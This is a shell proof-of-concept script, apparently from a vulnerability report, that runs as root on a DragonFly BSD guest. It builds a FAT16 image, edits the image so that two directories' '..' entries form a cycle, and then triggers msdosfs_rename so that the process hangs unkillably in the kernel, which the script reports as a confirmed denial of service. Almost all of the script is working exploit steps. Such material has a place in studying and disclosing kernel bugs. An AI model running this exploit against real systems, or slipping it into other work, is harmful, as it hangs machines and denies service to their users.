DF-3037 / run.sh
#!/bin/sh # DF-3037 run script -- executes ON THE DRAGONFLY GUEST as root. # Demonstrates: msdosfs_rename() never returns when the destination # parent directory's ".." chain contains a crafted cycle (doscheckpath # unbounded ancestor walk). Control run (unpatched image) succeeds. set -u IMG=/tmp/cyc.img VND=/dev/vn0 MNT=/mnt T=/root/df3037 echo "=== [0] guest info ===" uname -a echo "=== [1] build base FAT16 image with A, A/moveme, B, D ===" dd if=/dev/zero of=$IMG bs=1m count=16 2>&1 | tail -1 vnconfig -c $VND $IMG newfs_msdos -F 16 $VND >/dev/null 2>&1 || newfs_msdos $VND >/dev/null 2>&1 mount_msdos $VND $MNT mkdir $MNT/A $MNT/A/moveme $MNT/B $MNT/D ls -la $MNT umount $MNT vnconfig -u $VND echo "=== [2] map '.' entries ===" $T/dirpatch $IMG | tee /tmp/dotmap.txt # Expected: four dot entries; clusters (in creation order) A, moveme, B, D. echo "=== [3] CONTROL: rename on the unpatched image ===" vnconfig -c $VND $IMG mount_msdos $VND $MNT start=$(date +%s) $T/trigger $MNT/A/moveme $MNT/B/m2 echo "control rc=$? elapsed=$(( $(date +%s) - start ))s" ls $MNT/B umount $MNT vnconfig -u $VND echo "=== [4] restore image (fresh) and patch B<->D '..' cycle ===" dd if=/dev/zero of=$IMG bs=1m count=16 2>&1 | tail -1 vnconfig -c $VND $IMG newfs_msdos -F 16 $VND >/dev/null 2>&1 || newfs_msdos $VND >/dev/null 2>&1 mount_msdos $VND $MNT mkdir $MNT/A $MNT/A/moveme $MNT/B $MNT/D umount $MNT vnconfig -u $VND $T/dirpatch $IMG > /tmp/dotmap.txt; cat /tmp/dotmap.txt # parse: cluster Nth dot entry (order A=1st, moveme=2nd, B=3rd, D=4th) B_OFF=$(grep 'dot at' /tmp/dotmap.txt | sed -n 3p | sed 's/.*off=\([0-9]*\).*/\1/') D_OFF=$(grep 'dot at' /tmp/dotmap.txt | sed -n 4p | sed 's/.*off=\([0-9]*\).*/\1/') B_CL=$(grep "off=$B_OFF " /tmp/dotmap.txt | sed 's/.*owncluster=\([0-9]*\).*/\1/') D_CL=$(grep "off=$D_OFF " /tmp/dotmap.txt | sed 's/.*owncluster=\([0-9]*\).*/\1/') echo "B: dotoff=$B_OFF cluster=$B_CL D: dotoff=$D_OFF cluster=$D_CL" $T/dirpatch $IMG p "$B_OFF" "$D_CL" $T/dirpatch $IMG p "$D_OFF" "$B_CL" echo "cycle installed: B/.. -> $D_CL, D/.. -> $B_CL" echo "=== [5] EXPLOIT: rename under cycle (15s watchdog) ===" vnconfig -c $VND $IMG mount_msdos $VND $MNT ( $T/trigger $MNT/A/moveme $MNT/B/m2; echo "trigger-exited rc=$?" ) & TPID=$! sleep 15 if kill -0 $TPID 2>/dev/null; then echo "TRIGGER STILL RUNNING AFTER 15s -- attempting kill -9" kill -9 $TPID 2>/dev/null sleep 3 if kill -0 $TPID 2>/dev/null; then echo "KILL -9 INEFFECTIVE (stuck in kernel) -- DoS CONFIRMED" else echo "process died on kill -9" fi else wait $TPID fi echo "--- process state ---" ps aux | grep -E 'trigger|mv ' | grep -v grep echo "--- system still usable (other CPUs)? ---" date; uptime echo "--- dmesg tail ---" dmesg | tail -5 echo "NOTE: mount $MNT is now unkillable-held; guest must be reset." |